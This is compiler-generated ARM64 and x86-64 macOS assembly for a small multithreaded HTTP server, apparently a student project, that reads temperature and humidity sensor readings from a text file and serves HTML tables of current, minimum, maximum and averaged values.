ldur x8, [x29, #-24] ldursw x9, [x29, #-52] mul x9, x9, x13 add x8, x8, x9 ldr w8, [x8, #4] ; implicit-def: $x10 mov x10, x8 ldur x8, [x29, #-24] ldursw x9, [x29, #-52] mul x9, x9, x13 add x8, x8, x9 ldr w9, [x8, #8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x11, [x9] ; implicit-def: $x11 mov x11, x12 str x11, [x9, #8] str x10, [x9, #16] str x8, [x9, #24] adrp x1, l_.str.33@PAGE add x1, x1, l_.str.33@PAGEOFF bl _fprintf b LBB2_5 LBB2_5: ; in Loop: Header=BB2_3 Depth=2 ldur w8, [x29, #-52] add w8, w8, #1 stur w8, [x29, #-52] b LBB2_3 LBB2_6: ; in Loop: Header=BB2_1 Depth=1 ldur x0, [x29, #-48] bl _fclose ldur x8, [x29, #-24] ldr x8, [x8, #1528] stur x8, [x29, #-32] b LBB2_14 LBB2_7: ; in Loop: Header=BB2_1 Depth=1 ldur x8, [x29, #-24] ldr x8, [x8, #3064] ldur x9, [x29, #-40] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB2_13 b LBB2_8 LBB2_8: ; in Loop: Header=BB2_1 Depth=1 adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF adrp x1, l_.str.31@PAGE add x1, x1, l_.str.31@PAGEOFF bl _fopen str x0, [sp, #48] adrp x0, l_.str.34@PAGE add x0, x0, l_.str.34@PAGEOFF bl _printf mov w8, #64 str w8, [sp, #44] b LBB2_9 LBB2_9: ; Parent Loop BB2_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #44] subs w8, w8, #128 cset w8, ge tbnz w8, #0, LBB2_12 b LBB2_10 LBB2_10: ; in Loop: Header=BB2_9 Depth=2 ldr x0, [sp, #48] ldur x8, [x29, #-24] ldrsw x9, [sp, #44] mov x13, #24 mul x9, x9, x13 add x8, x8, x9 ldr x11, [x8, #16] ldur x8, [x29, #-24] ldrsw x9, [sp, #44] mul x9, x9, x13 ldrb w12, [x8, x9] ldur x8, [x29, #-24] ldrsw x9, [sp, #44] mul x9, x9, x13 add x8, x8, x9 ldr w8, [x8, #4] ; implicit-def: $x10 mov x10, x8 ldur x8, [x29, #-24] ldrsw x9, [sp, #44] mul x9, x9, x13 add x8, x8, x9 ldr w9, [x8, #8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x11, [x9] ; implicit-def: $x11 mov x11, x12 str x11, [x9, #8] str x10, [x9, #16] str x8, [x9, #24] adrp x1, l_.str.33@PAGE add x1, x1, l_.str.33@PAGEOFF bl _fprintf b LBB2_11 LBB2_11: ; in Loop: Header=BB2_9 Depth=2 ldr w8, [sp, #44] add w8, w8, #1 str w8, [sp, #44] b LBB2_9 LBB2_12: ; in Loop: Header=BB2_1 Depth=1 ldr x0, [sp, #48] bl _fclose ldur x8, [x29, #-24] ldr x8, [x8, #3064] stur x8, [x29, #-40] b LBB2_13 LBB2_13: ; in Loop: Header=BB2_1 Depth=1 b LBB2_14 LBB2_14: ; in Loop: Header=BB2_1 Depth=1 mov w0, #1 bl _sleep b LBB2_1 .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w2, #0 stur wzr, [x29, #-4] mov w0, #2 mov w1, #1 bl _socket stur w0, [x29, #-8] sub x1, x29, #24 mov w8, #2 sturb w8, [x29, #-23] mov w8, #57351 sturh w8, [x29, #-22] stur wzr, [x29, #-20] stur xzr, [x29, #-16] ldur w0, [x29, #-8] mov w2, #16 str w2, [sp, #16] ; 4-byte Folded Spill bl _bind ldur w0, [x29, #-8] mov w1, #10 bl _listen ldr w8, [sp, #16] ; 4-byte Folded Reload str w8, [sp, #36] add x0, sp, #24 mov x3, #0 mov x1, x3 adrp x2, _thr_filewrite@PAGE add x2, x2, _thr_filewrite@PAGEOFF bl _pthread_create b LBB3_1 LBB3_1: ; =>This Inner Loop Header: Depth=1 adrp x0, l_.str.35@PAGE add x0, x0, l_.str.35@PAGEOFF bl _printf ldur w0, [x29, #-8] add x1, sp, #40 add x2, sp, #36 bl _accept add x8, sp, #20 str x8, [sp, #8] ; 8-byte Folded Spill str w0, [sp, #20] ldur w9, [x29, #-4] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.36@PAGE add x0, x0, l_.str.36@PAGEOFF bl _printf ldr x3, [sp, #8] ; 8-byte Folded Reload ldursw x9, [x29, #-4] adrp x8, _threads@GOTPAGE ldr x8, [x8, _threads@GOTPAGEOFF] add x0, x8, x9, lsl #3 mov x1, #0 adrp x2, _thr_request@PAGE add x2, x2, _thr_request@PAGEOFF bl _pthread_create ldur w8, [x29, #-4] add w8, w8, #1 stur w8, [x29, #-4] ldur w8, [x29, #-4] subs w8, w8, #10 cset w8, lt tbnz w8, #0, LBB3_3 b LBB3_2 LBB3_2: ; in Loop: Header=BB3_1 Depth=1 stur wzr, [x29, #-4] b LBB3_3 LBB3_3: ; in Loop: Header=BB3_1 Depth=1 b LBB3_1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz " " l_.str.1: ; @.str.1 .asciz "HTTP/1.1 200 OK\nConnection: Closed\nContent-Type: text/html\n\n" l_.str.2: ; @.str.2 .asciz "/" l_.str.3: ; @.str.3 .asciz "datos.txt" l_.str.4: ; @.str.4 .asciz "r" l_.str.5: ; @.str.5 .asciz "," l_.str.6: ; @.str.6 .asciz "<table border=1 style=width:100%%><tr><th>ID</th><th>Temp</th><th>RH</th><th>Time</th></tr>" l_.str.7: ; @.str.7 .asciz "%Y-%m-%d %H:%M:%S" l_.str.8: ; @.str.8 .asciz "%s<tr><td><a href=\"sensor/%i\">%i</a></td><td>%.1f</td><td>%i</td><td>%s</td></tr>" l_.str.9: ; @.str.9 .asciz "%s</table>" l_.str.10: ; @.str.10 .asciz "<html><head><title>Home</title></head><body>%s<div><a href=\"/\">Home</a> <a href=\"/prom\">Prom 1Hora</a> <a href=\"/prom/6\">Prom 6Horas</a> <a href=\"/prom/12\">Prom 12Horas</a> <a href=\"/prom/24\">Prom 24Hora</a></div></body></html>" l_.str.11: ; @.str.11 .asciz "%s\n" l_.str.12: ; @.str.12 .asciz "sensor" l_.str.13: ; @.str.13 .asciz "<table border=1 style=width:100%%><tr><th>Dato:</th><th>Temp</th><th>RH</th></tr>" l_.str.14: ; @.str.14 .asciz "%s<tr><td>Actual</td><td>%.1f</td><td>%i</td></tr>" l_.str.15: ; @.str.15 .asciz "%s<tr><td>Minima</td><td>%.1f</td><td>%i</td></tr>" l_.str.16: ; @.str.16 .asciz "%s<tr><td>Maxima</td><td>%.1f</td><td>%i</td></tr>" l_.str.17: ; @.str.17 .asciz "%s<tr><td>Ultima Hora</td><td>%.1f</td><td>%lli</td></tr>" l_.str.18: ; @.str.18 .asciz "%s<tr><td>Ultimas 6 Horas</td><td>%.1f</td><td>%lli</td></tr>" l_.str.19: ; @.str.19 .asciz "%s<tr><td>Ultimas 12 Horas</td><td>%.1f</td><td>%lli</td></tr>" l_.str.20: ; @.str.20 .asciz "%s<tr><td>Ultimas 24 Horas</td><td>%.1f</td><td>%lli</td></tr>" l_.str.21: ; @.str.21 .asciz "<html><head><title>Datos Sensor: %i</title></head><body>%s<div><a href=\"/\">Home</a> <a href=\"/prom\">Prom 1Hora</a> <a href=\"/prom/6\">Prom 6Horas</a> <a href=\"/prom/12\">Prom 12Horas</a> <a href=\"/prom/24\">Prom 24Hora</a></div></body></html>" l_.str.22: ; @.str.22 .asciz "prom" l_.str.23: ; @.str.23 .asciz "<table border=1 style=width:100%%><tr><th>ID</th><th>Temp</th><th>RH</th></tr>" l_.str.24: ; @.str.24 .asciz "%s<tr><td><a href=\"/sensor/%i\">%i</a></td><td>%.1f</td><td>%lli</td></tr>" l_.str.25: ; @.str.25 .asciz "<html><head><title>Promedios de %i Horas</title></head><body>%s<div><a href=\"/\">Home</a> <a href=\"/prom\">Prom 1Hora</a> <a href=\"/prom/6\">Prom 6Horas</a> <a href=\"/prom/12\">Prom 12Horas</a> <a href=\"/prom/24\">Prom 24Hora</a></div></body></html>" l_.str.26: ; @.str.26 .asciz "\r\n\r\n" l_.str.27: ; @.str.27 .asciz "Creando Llave\n" l_.str.28: ; @.str.28 .asciz "/bin/bash" l_.str.29: ; @.str.29 .asciz "Creando Identificador...\n" l_.str.30: ; @.str.30 .asciz "Alocando Memoria Compartida...\n" l_.str.31: ; @.str.31 .asciz "a" l_.str.32: ; @.str.32 .asciz "Cambio de Buffer 2\n" l_.str.33: ; @.str.33 .asciz "%lu,%i,%d,%d\n" l_.str.34: ; @.str.34 .asciz "Cambio de Buffer 1\n" l_.str.35: ; @.str.35 .asciz "Servidor esperando conexion\n\n" l_.str.36: ; @.str.36 .asciz "%d New Request...\n" .comm _threads,80,3 ; @threads .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _parser ## -- Begin function parser .p2align 4, 0x90 _parser: ## @parser .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq $0, -24(%rbp) movq -8(%rbp), %rdi movq -16(%rbp), %rsi callq _strtok cmpq $0, %rax je LBB0_4 ## %bb.1: movq -16(%rbp), %rsi xorl %eax, %eax movl %eax, %edi callq _strtok movq %rax, -24(%rbp) cmpq $0, -24(%rbp) je LBB0_3 ## %bb.2: movq -24(%rbp), %rdi callq _strdup movq %rax, -24(%rbp) LBB0_3: jmp LBB0_4 LBB0_4: movq -24(%rbp), %rax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__literal4,4byte_literals .p2align 2 ## -- Begin function thr_request LCPI1_0: .long 0x41200000 ## float 10 .section __TEXT,__text,regular,pure_instructions .globl _thr_request .p2align 4, 0x90 _thr_request: ## @thr_request .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $18144, %eax ## imm = 0x46E0 callq ____chkstk_darwin subq %rax, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movq %rdi, -17736(%rbp) movq -17736(%rbp), %rax movl (%rax), %eax movl %eax, -17740(%rbp) movl -17740(%rbp), %edi leaq -3008(%rbp), %rsi movl $3000, %edx ## imm = 0xBB8 xorl %ecx, %ecx callq _recv ## kill: def $eax killed $eax killed $rax movl %eax, -17744(%rbp) movslq -17744(%rbp), %rax movb $0, -3008(%rbp,%rax) leaq -3008(%rbp), %rdi leaq L_.str(%rip), %rsi callq _parser movq %rax, -17752(%rbp) leaq -3008(%rbp), %rdi leaq L_.str.1(%rip), %rsi movl $3000, %edx ## imm = 0xBB8 callq ___strcpy_chk movl -17740(%rbp), %eax movl %eax, -18044(%rbp) ## 4-byte Spill leaq -3008(%rbp), %rax movq %rax, -18040(%rbp) ## 8-byte Spill leaq -3008(%rbp), %rdi callq _strlen movl -18044(%rbp), %edi ## 4-byte Reload movq -18040(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx addq $1, %rdx xorl %ecx, %ecx callq _send cmpq $0, -17752(%rbp) je LBB1_20 ## %bb.1: movq -17752(%rbp), %rdi leaq L_.str.2(%rip), %rsi callq _strcmp cmpl $0, %eax jne LBB1_20 ## %bb.2: leaq L_.str.3(%rip), %rdi leaq L_.str.4(%rip), %rsi callq _fopen movq %rax, -17760(%rbp) LBB1_3: ## =>This Inner Loop Header: Depth=1 leaq -3264(%rbp), %rdi movq -17760(%rbp), %rdx movl $256, %esi ## imm = 0x100 callq _fgets cmpq $0, %rax je LBB1_13 ## %bb.4: ## in Loop: Header=BB1_3 Depth=1 leaq -3264(%rbp), %rdi leaq L_.str.5(%rip), %rsi callq _strtok movq %rax, -17768(%rbp) cmpq $0, -17768(%rbp) jne LBB1_6 ## %bb.5: ## in Loop: Header=BB1_3 Depth=1 jmp LBB1_3 LBB1_6: ## in Loop: Header=BB1_3 Depth=1 xorl %eax, %eax movl %eax, %edi leaq L_.str.5(%rip), %rsi callq _strtok movq %rax, -17776(%rbp) cmpq $0, -17776(%rbp) jne LBB1_8 ## %bb.7: ## in Loop: Header=BB1_3 Depth=1 jmp LBB1_3 LBB1_8: ## in Loop: Header=BB1_3 Depth=1 xorl %eax, %eax movl %eax, %edi leaq L_.str.5(%rip), %rsi callq _strtok movq %rax, -17784(%rbp) cmpq $0, -17784(%rbp) jne LBB1_10 ## %bb.9: ## in Loop: Header=BB1_3 Depth=1 jmp LBB1_3 LBB1_10: ## in Loop: Header=BB1_3 Depth=1 xorl %eax, %eax movl %eax, %edi leaq L_.str.5(%rip), %rsi callq _strtok movq %rax, -17792(%rbp) cmpq $0, -17792(%rbp) jne LBB1_12 ## %bb.11: ## in Loop: Header=BB1_3 Depth=1 jmp LBB1_3 LBB1_12: ## in Loop: Header=BB1_3 Depth=1 movq -17776(%rbp), %rdi callq _atoi movl %eax, -17796(%rbp) movl -17796(%rbp), %eax movb %al, %cl movslq -17796(%rbp), %rdx leaq -11456(%rbp), %rax imulq $24, %rdx, %rdx addq %rdx, %rax movb %cl, (%rax) movq -17768(%rbp), %rdi xorl %eax, %eax movl %eax, %esi movl $10, %edx callq _strtoul movq %rax, %rcx movslq -17796(%rbp), %rdx leaq -11456(%rbp), %rax imulq $24, %rdx, %rdx addq %rdx, %rax movq %rcx, 16(%rax) movq -17784(%rbp), %rdi callq _atoi movl %eax, %ecx movslq -17796(%rbp), %rdx leaq -11456(%rbp), %rax imulq $24, %rdx, %rdx addq %rdx, %rax movl %ecx, 4(%rax) movq -17792(%rbp), %rdi callq _atoi movl %eax, %ecx movslq -17796(%rbp), %rdx leaq -11456(%rbp), %rax imulq $24, %rdx, %rdx addq %rdx, %rax movl %ecx, 8(%rax) jmp LBB1_3 LBB1_13: leaq -5312(%rbp), %rdi xorl %esi, %esi movl $2048, %edx ## imm = 0x800 leaq L_.str.6(%rip), %rcx movb $0, %al callq ___sprintf_chk movl $0, -17800(%rbp) LBB1_14: ## =>This Inner Loop Header: Depth=1 cmpl $256, -17800(%rbp) ## imm = 0x100 jge LBB1_19 ## %bb.15: ## in Loop: Header=BB1_14 Depth=1 movslq -17800(%rbp), %rcx leaq -11456(%rbp), %rax imulq $24, %rcx, %rcx addq %rcx, %rax cmpq $0, 16(%rax) je LBB1_17 ## %bb.16: ## in Loop: Header=BB1_14 Depth=1 movslq -17800(%rbp), %rax leaq -11456(%rbp), %rdi imulq $24, %rax, %rax addq %rax, %rdi addq $16, %rdi callq _localtime movq %rax, -17808(%rbp) leaq -11488(%rbp), %rdi movq -17808(%rbp), %rcx movl $26, %esi leaq L_.str.7(%rip), %rdx callq _strftime leaq -5312(%rbp), %rdi leaq -5312(%rbp), %r8 movl -17800(%rbp), %r9d movl -17800(%rbp), %r11d movslq -17800(%rbp), %rcx leaq -11456(%rbp), %rax imulq $24, %rcx, %rcx addq %rcx, %rax cvtsi2ssl 4(%rax), %xmm0 movss LCPI1_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero divss %xmm1, %xmm0 cvtss2sd %xmm0, %xmm0 movslq -17800(%rbp), %rcx leaq -11456(%rbp), %rax imulq $24, %rcx, %rcx addq %rcx, %rax movl 8(%rax), %r10d leaq -11488(%rbp), %rax xorl %esi, %esi movl $2048, %edx ## imm = 0x800 leaq L_.str.8(%rip), %rcx movl %r11d, (%rsp) movl %r10d, 8(%rsp) movq %rax, 16(%rsp) movb $1, %al callq ___sprintf_chk LBB1_17: ## in Loop: Header=BB1_14 Depth=1 jmp LBB1_18 LBB1_18: ## in Loop: Header=BB1_14 Depth=1 movl -17800(%rbp), %eax addl $1, %eax movl %eax, -17800(%rbp) jmp LBB1_14 LBB1_19: leaq -5312(%rbp), %rdi leaq -5312(%rbp), %r8 xorl %esi, %esi movl $2048, %edx ## imm = 0x800 leaq L_.str.9(%rip), %rcx movb $0, %al callq ___sprintf_chk leaq -3008(%rbp), %rdi leaq -5312(%rbp), %r8 xorl %esi, %esi movl $3000, %edx ## imm = 0xBB8 leaq L_.str.10(%rip), %rcx movb $0, %al callq ___sprintf_chk movl -17740(%rbp), %eax movl %eax, -18060(%rbp) ## 4-byte Spill leaq -3008(%rbp), %rax movq %rax, -18056(%rbp) ## 8-byte Spill leaq -3008(%rbp), %rdi callq _strlen movl -18060(%rbp), %edi ## 4-byte Reload movq -18056(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx addq $1, %rdx xorl %ecx, %ecx callq _send jmp LBB1_88 LBB1_20: cmpq $0, -17752(%rbp) je LBB1_87 ## %bb.21: movq -17752(%rbp), %rdi leaq L_.str.2(%rip), %rsi callq _strtok movq %rax, -17816(%rbp) movq -17816(%rbp), %rsi leaq L_.str.11(%rip), %rdi movb $0, %al callq _printf movq -17816(%rbp), %rdi leaq L_.str.12(%rip), %rsi callq _strcmp cmpl $0, %eax jne LBB1_58 ## %bb.22: xorl %eax, %eax movl %eax, %edi leaq L_.str.2(%rip), %rsi callq _strtok movq %rax, -17824(%rbp) movl $0, -17828(%rbp) cmpq $0, -17824(%rbp) je LBB1_24 ## %bb.23: movq -17824(%rbp), %rdi callq _atoi movl %eax, -17828(%rbp) LBB1_24: movl $-550, -17832(%rbp) ## imm = 0xFDDA movl $1399, -17836(%rbp) ## imm = 0x577 movl $0, -17844(%rbp) movl $100, -17848(%rbp) movl $0, -17856(%rbp) LBB1_25: ## =>This Inner Loop Header: Depth=1 cmpl $4, -17856(%rbp) jge LBB1_28 ## %bb.26: ## in Loop: Header=BB1_25 Depth=1 movslq -17856(%rbp), %rcx leaq -11584(%rbp), %rax imulq $24, %rcx, %rcx addq %rcx, %rax movl $0, (%rax) movslq -17856(%rbp), %rcx leaq -11584(%rbp), %rax imulq $24, %rcx, %rcx addq %rcx, %rax movq $0, 8(%rax) movslq -17856(%rbp), %rcx leaq -11584(%rbp), %rax imulq $24, %rcx, %rcx addq %rcx, %rax movq $0, 16(%rax) ## %bb.27: ## in Loop: Header=BB1_25 Depth=1 movl -17856(%rbp), %eax addl $1, %eax movl %eax, -17856(%rbp) jmp LBB1_25 LBB1_28: xorl %eax, %eax movl %eax, %edi callq _time movq %rax, -17864(%rbp) leaq L_.str.3(%rip), %rdi leaq L_.str.4(%rip), %rsi callq _fopen movq %rax, -17872(%rbp) LBB1_29: ## =>This Inner Loop Header: Depth=1 leaq -3264(%rbp), %rdi movq -17872(%rbp), %rdx movl $256, %esi ## imm = 0x100 callq _fgets cmpq $0, %rax je LBB1_57 ## %bb.30: ## in Loop: Header=BB1_29 Depth=1 leaq -3264(%rbp), %rdi leaq L_.str.5(%rip), %rsi callq _strtok movq %rax, -17880(%rbp) cmpq $0, -17880(%rbp) jne LBB1_32 ## %bb.31: ## in Loop: Header=BB1_29 Depth=1 jmp LBB1_29 LBB1_32: ## in Loop: Header=BB1_29 Depth=1 xorl %eax, %eax movl %eax, %edi leaq L_.str.5(%rip), %rsi callq _strtok movq %rax, -17888(%rbp) cmpq $0, -17888(%rbp) jne LBB1_34 ## %bb.33: ## in Loop: Header=BB1_29 Depth=1 jmp LBB1_29 LBB1_34: ## in Loop: Header=BB1_29 Depth=1 xorl %eax, %eax movl %eax, %edi leaq L_.str.5(%rip), %rsi callq _strtok movq %rax, -17896(%rbp) cmpq $0, -17896(%rbp) jne LBB1_36 ## %bb.35: ## in Loop: Header=BB1_29 Depth=1 jmp LBB1_29 LBB1_36: ## in Loop: Header=BB1_29 Depth=1 xorl %eax, %eax movl %eax, %edi leaq L_.str.5(%rip), %rsi callq _strtok movq %rax, -17904(%rbp) cmpq $0, -17904(%rbp) jne LBB1_38 ## %bb.37: ## in Loop: Header=BB1_29 Depth=1 jmp LBB1_29 LBB1_38: ## in Loop: Header=BB1_29 Depth=1 movq -17888(%rbp), %rdi callq _atoi movl %eax, -17908(%rbp) movq -17880(%rbp), %rdi xorl %eax, %eax movl %eax, %esi movl $10, %edx callq _strtoul movq %rax, -17920(%rbp) movq -17896(%rbp), %rdi callq _atoi movl %eax, -17924(%rbp) movq -17904(%rbp), %rdi callq _atoi movl %eax, -17928(%rbp) movl -17908(%rbp), %eax cmpl -17828(%rbp), %eax jne LBB1_56 ## %bb.39: ## in Loop: Header=BB1_29 Depth=1 movl -17924(%rbp), %eax movl %eax, -17840(%rbp) movl -17928(%rbp), %eax movl %eax, -17852(%rbp) movl -17924(%rbp), %eax cmpl -17832(%rbp), %eax jle LBB1_41 ## %bb.40: ## in Loop: Header=BB1_29 Depth=1 movl -17924(%rbp), %eax movl %eax, -17832(%rbp) LBB1_41: ## in Loop: Header=BB1_29 Depth=1 movl -17924(%rbp), %eax cmpl -17836(%rbp), %eax jge LBB1_43 ## %bb.42: ## in Loop: Header=BB1_29 Depth=1 movl -17924(%rbp), %eax movl %eax, -17836(%rbp) LBB1_43: ## in Loop: Header=BB1_29 Depth=1 movl -17928(%rbp), %eax cmpl -17844(%rbp), %eax jle LBB1_45 ## %bb.44: ## in Loop: Header=BB1_29 Depth=1 movl -17928(%rbp), %eax movl %eax, -17844(%rbp) LBB1_45: ## in Loop: Header=BB1_29 Depth=1 movl -17928(%rbp), %eax cmpl -17848(%rbp), %eax jge LBB1_47 ## %bb.46: ## in Loop: Header=BB1_29 Depth=1 movl -17928(%rbp), %eax movl %eax, -17848(%rbp) LBB1_47: ## in Loop: Header=BB1_29 Depth=1 movq -17864(%rbp), %rax subq -17920(%rbp), %rax cmpq $3600, %rax ## imm = 0xE10 ja LBB1_49 ## %bb.48: ## in Loop: Header=BB1_29 Depth=1 movl -11584(%rbp), %eax addl $1, %eax movl %eax, -11584(%rbp) movslq -17924(%rbp), %rax addq -11576(%rbp), %rax movq %rax, -11576(%rbp) movslq -17928(%rbp), %rax addq -11568(%rbp), %rax movq %rax, -11568(%rbp) LBB1_49: ## in Loop: Header=BB1_29 Depth=1 movq -17864(%rbp), %rax subq -17920(%rbp), %rax cmpq $21600, %rax ## imm = 0x5460 ja LBB1_51 ## %bb.50: ## in Loop: Header=BB1_29 Depth=1 movl -11560(%rbp), %eax addl $1, %eax movl %eax, -11560(%rbp) movslq -17924(%rbp), %rax addq -11552(%rbp), %rax movq %rax, -11552(%rbp) movslq -17928(%rbp), %rax addq -11544(%rbp), %rax movq %rax, -11544(%rbp) LBB1_51: ## in Loop: Header=BB1_29 Depth=1 movq -17864(%rbp), %rax subq -17920(%rbp), %rax cmpq $43200, %rax ## imm = 0xA8C0 ja LBB1_53 ## %bb.52: ## in Loop: Header=BB1_29 Depth=1 movl -11536(%rbp), %eax addl $1, %eax movl %eax, -11536(%rbp) movslq -17924(%rbp), %rax addq -11528(%rbp), %rax movq %rax, -11528(%rbp) movslq -17928(%rbp), %rax addq -11520(%rbp), %rax movq %rax, -11520(%rbp) LBB1_53: ## in Loop: Header=BB1_29 Depth=1 movq -17864(%rbp), %rax subq -17920(%rbp), %rax cmpq $86400, %rax ## imm = 0x15180 ja LBB1_55 ## %bb.54: ## in Loop: Header=BB1_29 Depth=1 movl -11512(%rbp), %eax addl $1, %eax movl %eax, -11512(%rbp) movslq -17924(%rbp), %rax addq -11504(%rbp), %rax movq %rax, -11504(%rbp) movslq -17928(%rbp), %rax addq -11496(%rbp), %rax movq %rax, -11496(%rbp) LBB1_55: ## in Loop: Header=BB1_29 Depth=1 jmp LBB1_56 LBB1_56: ## in Loop: Header=BB1_29 Depth=1 jmp LBB1_29 LBB1_57: movq -17872(%rbp), %rdi callq _fclose leaq -5312(%rbp), %rdi xorl %esi, %esi movl $2048, %edx ## imm = 0x800 leaq L_.str.13(%rip), %rcx movb $0, %al callq ___sprintf_chk leaq -5312(%rbp), %rdi leaq -5312(%rbp), %r8 cvtsi2ssl -17840(%rbp), %xmm0 movss LCPI1_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero divss %xmm1, %xmm0 cvtss2sd %xmm0, %xmm0 movl -17852(%rbp), %r9d xorl %esi, %esi movl $2048, %edx ## imm = 0x800 leaq L_.str.14(%rip), %rcx movb $1, %al callq ___sprintf_chk leaq -5312(%rbp), %rdi leaq -5312(%rbp), %r8 cvtsi2ssl -17836(%rbp), %xmm0 movss LCPI1_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero divss %xmm1, %xmm0 cvtss2sd %xmm0, %xmm0 movl -17848(%rbp), %r9d xorl %esi, %esi movl $2048, %edx ## imm = 0x800 leaq L_.str.15(%rip), %rcx movb $1, %al callq ___sprintf_chk leaq -5312(%rbp), %rdi leaq -5312(%rbp), %r8 cvtsi2ssl -17832(%rbp), %xmm0 movss LCPI1_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero divss %xmm1, %xmm0 cvtss2sd %xmm0, %xmm0 movl -17844(%rbp), %r9d xorl %esi, %esi movl $2048, %edx ## imm = 0x800 leaq L_.str.16(%rip), %rcx movb $1, %al callq ___sprintf_chk leaq -5312(%rbp), %rdi leaq -5312(%rbp), %r8 cvtsi2ssq -11576(%rbp), %xmm0 cvtsi2ssl -11584(%rbp), %xmm1 divss %xmm1, %xmm0 movss LCPI1_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero divss %xmm1, %xmm0 cvtss2sd %xmm0, %xmm0 movq -11568(%rbp), %rax movslq -11584(%rbp), %rcx cqto idivq %rcx movq %rax, %r9 xorl %esi, %esi movl $2048, %edx ## imm = 0x800 leaq L_.str.17(%rip), %rcx movb $1, %al callq ___sprintf_chk leaq -5312(%rbp), %rdi leaq -5312(%rbp), %r8 cvtsi2ssq -11552(%rbp), %xmm0 cvtsi2ssl -11560(%rbp), %xmm1 divss %xmm1, %xmm0 movss LCPI1_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero divss %xmm1, %xmm0 cvtss2sd %xmm0, %xmm0 movq -11544(%rbp), %rax movslq -11560(%rbp), %rcx cqto idivq %rcx movq %rax, %r9 xorl %esi, %esi movl $2048, %edx ## imm = 0x800 leaq L_.str.18(%rip), %rcx movb $1, %al callq ___sprintf_chk leaq -5312(%rbp), %rdi leaq -5312(%rbp), %r8 cvtsi2ssq -11528(%rbp), %xmm0 cvtsi2ssl -11536(%rbp), %xmm1 divss %xmm1, %xmm0 movss LCPI1_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero divss %xmm1, %xmm0 cvtss2sd %xmm0, %xmm0 movq -11520(%rbp), %rax movslq -11536(%rbp), %rcx cqto idivq %rcx movq %rax, %r9 xorl %esi, %esi movl $2048, %edx ## imm = 0x800 leaq L_.str.19(%rip), %rcx movb $1, %al callq ___sprintf_chk leaq -5312(%rbp), %rdi leaq -5312(%rbp), %r8 cvtsi2ssq -11504(%rbp), %xmm0 cvtsi2ssl -11512(%rbp), %xmm1 divss %xmm1, %xmm0 movss LCPI1_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero divss %xmm1, %xmm0 cvtss2sd %xmm0, %xmm0 movq -11496(%rbp), %rax movslq -11512(%rbp), %rcx cqto idivq %rcx movq %rax, %r9 xorl %esi, %esi movl $2048, %edx ## imm = 0x800 leaq L_.str.20(%rip), %rcx movb $1, %al callq ___sprintf_chk leaq -5312(%rbp), %rdi leaq -5312(%rbp), %r8 xorl %esi, %esi movl $2048, %edx ## imm = 0x800 leaq L_.str.9(%rip), %rcx movb $0, %al callq ___sprintf_chk leaq -3008(%rbp), %rdi movl -17828(%rbp), %r8d leaq -5312(%rbp), %r9 xorl %esi, %esi movl $3000, %edx ## imm = 0xBB8 leaq L_.str.21(%rip), %rcx movb $0, %al callq ___sprintf_chk movl -17740(%rbp), %eax movl %eax, -18076(%rbp) ## 4-byte Spill leaq -3008(%rbp), %rax movq %rax, -18072(%rbp) ## 8-byte Spill leaq -3008(%rbp), %rdi callq _strlen movl -18076(%rbp), %edi ## 4-byte Reload movq -18072(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx addq $1, %rdx xorl %ecx, %ecx callq _send jmp LBB1_86 LBB1_58: movq -17816(%rbp), %rdi leaq L_.str.22(%rip), %rsi callq _strcmp cmpl $0, %eax jne LBB1_85 ## %bb.59: xorl %eax, %eax movl %eax, %edi leaq L_.str.2(%rip), %rsi callq _strtok movq %rax, -17936(%rbp) movl $1, -17940(%rbp) cmpq $0, -17936(%rbp) je LBB1_61 ## %bb.60: movq -17936(%rbp), %rdi callq _atoi movl %eax, -17940(%rbp) LBB1_61: imull $3600, -17940(%rbp), %eax ## imm = 0xE10 movl %eax, -17940(%rbp) xorl %eax, %eax movl %eax, %edi callq _time movq %rax, -17952(%rbp) movl $0, -17956(%rbp) LBB1_62: ## =>This Inner Loop Header: Depth=1 cmpl $256, -17956(%rbp) ## imm = 0x100 jge LBB1_65 ## %bb.63: ## in Loop: Header=BB1_62 Depth=1 movslq -17956(%rbp), %rcx leaq -17728(%rbp), %rax imulq $24, %rcx, %rcx addq %rcx, %rax movl $0, (%rax) movslq -17956(%rbp), %rcx leaq -17728(%rbp), %rax imulq $24, %rcx, %rcx addq %rcx, %rax movq $0, 8(%rax) movslq -17956(%rbp), %rcx leaq -17728(%rbp), %rax imulq $24, %rcx, %rcx addq %rcx, %rax movq $0, 16(%rax) ## %bb.64: ## in Loop: Header=BB1_62 Depth=1 movl -17956(%rbp), %eax addl $1, %eax movl %eax, -17956(%rbp) jmp 